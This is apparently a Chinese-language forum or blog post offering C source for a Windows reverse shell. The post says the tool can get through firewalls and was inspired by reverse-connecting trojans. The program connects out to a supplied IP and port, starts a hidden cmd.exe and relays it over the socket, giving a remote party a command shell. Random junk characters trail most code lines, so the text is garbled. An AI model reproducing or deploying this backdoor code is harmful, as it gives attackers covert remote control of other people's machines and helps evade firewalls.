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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 Yj&F;_~   
#|uCgdi  
/* ============================== )HEa<P^kJl  
Rebound port in Windows NT Ki;*u_4{  
By wind,2006/7 g_;\iqxL  
===============================*/ /J]5H  
#include jk;j2YNPw  
#include 1.}d.t  
A @i  
#pragma comment(lib,"wsock32.lib") tm|ZBM  
z<MsKD0Q  
void OutputShell(); tR# OjkvX  
SOCKET sClient; '+@=ILj>  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; &T#;-`'  
$zUP?Gq!  
void main(int argc,char **argv) KqHyG  
{ em y[k  
WSADATA stWsaData; bTI|F]^!  
int nRet; ?>VLTp8]  
SOCKADDR_IN stSaiClient,stSaiServer; dB{Q" !  
l|u>Tb|V  
if(argc != 3) !Lu2  
{ 5tl< 3g `  
printf("Useage:\n\rRebound DestIP DestPort\n"); ` ./$&'  
return; =7?4eYHC  
} l5~os>  
d9k0F OR1  
WSAStartup(MAKEWORD(2,2),&stWsaData); zrvF]|1UP  
)~X2 &^orW  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); "fb[23g%@k  
Q-(zwAaE  
stSaiClient.sin_family = AF_INET; ~]sc^[  
stSaiClient.sin_port = htons(0); irZ])a  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 49eD1h3'X[  
|44Ploz2b  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) M$ wC=b  
{ R7%#U`Q^A  
printf("Bind Socket Failed!\n"); +V2F#fI/  
return; \UA[  
} (|2t#'m  
."g`3tVK  
stSaiServer.sin_family = AF_INET; B.=FSow  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); .7J#_* N V  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); RTYvS5 G  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) )Om*@;r(  
{ ~-k9%v`  
printf("Connect Error!"); jV i) Efy  
return; td$E/h=3  
} &0d# Y]D4`  
OutputShell(); #`^}PuQ  
} ;[ZEDF5H  
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void OutputShell() xR~h wj  
{ ibcRU y0%  
char szBuff[1024]; 0S"mVZ*P  
SECURITY_ATTRIBUTES stSecurityAttributes; hDDn,uzpd  
OSVERSIONINFO stOsversionInfo; dRYqr}!%n  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; Zpt\p7WQ  
STARTUPINFO stStartupInfo; *VCXihgo  
char *szShell; $t+,Tav  
PROCESS_INFORMATION stProcessInformation; y RqL9t  
unsigned long lBytesRead; 10Q ]67  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); l]5K N  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); N%@Qf~  
stSecurityAttributes.lpSecurityDescriptor = 0; -OV&Md:~  
stSecurityAttributes.bInheritHandle = TRUE; gb1V~  
L;z?a Z7n  
rSY!vkLE\  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 9 ql~q  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); RH W]Z Pr<  
AI2)g1m  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); <sbu;dQ`  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; )$2QZ qX  
stStartupInfo.wShowWindow = SW_HIDE; HZE#Ab*L  
stStartupInfo.hStdInput = hReadPipe;  }FROB/  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; r `=I  
'@v\{ l  
GetVersionEx(&stOsversionInfo); SO/c}vnBB  
AYBns]!  
switch(stOsversionInfo.dwPlatformId) #^0R&) T  
{ VD*6g%p  
case 1: x8 2cT21b  
szShell = "command.com"; h'llK6_)  
break; 9c bd~mM{  
default: "Fr.fhh'~  
szShell = "cmd.exe"; gjyYCjF  
break; P\tB~SZ*  
} >58YjLXb  
[>I<#_^~  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); l:~/<`o  
J3V= 46Yc  
send(sClient,szMsg,77,0); uo9B9"&  
while(1) ELoDd&d8  
{ !/b>sN}  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); n` _{9R  
if(lBytesRead) ,_ H:J.ik  
{ mthA4sz  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); n&4N[Qlv,  
send(sClient,szBuff,lBytesRead,0); CZwXTHe  
} +HpA:]#Y  
else  tU5zF.%  
{ #lo6c;*m5  
lBytesRead=recv(sClient,szBuff,1024,0); 4i;{!sT  
if(lBytesRead<=0) break; Wtd/=gmiI  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 1ba~SHi  
} 5DU6rks%  
} )u&|_&g{}J  
L<cx:Vz  
return; k9R4Y\8P  
}
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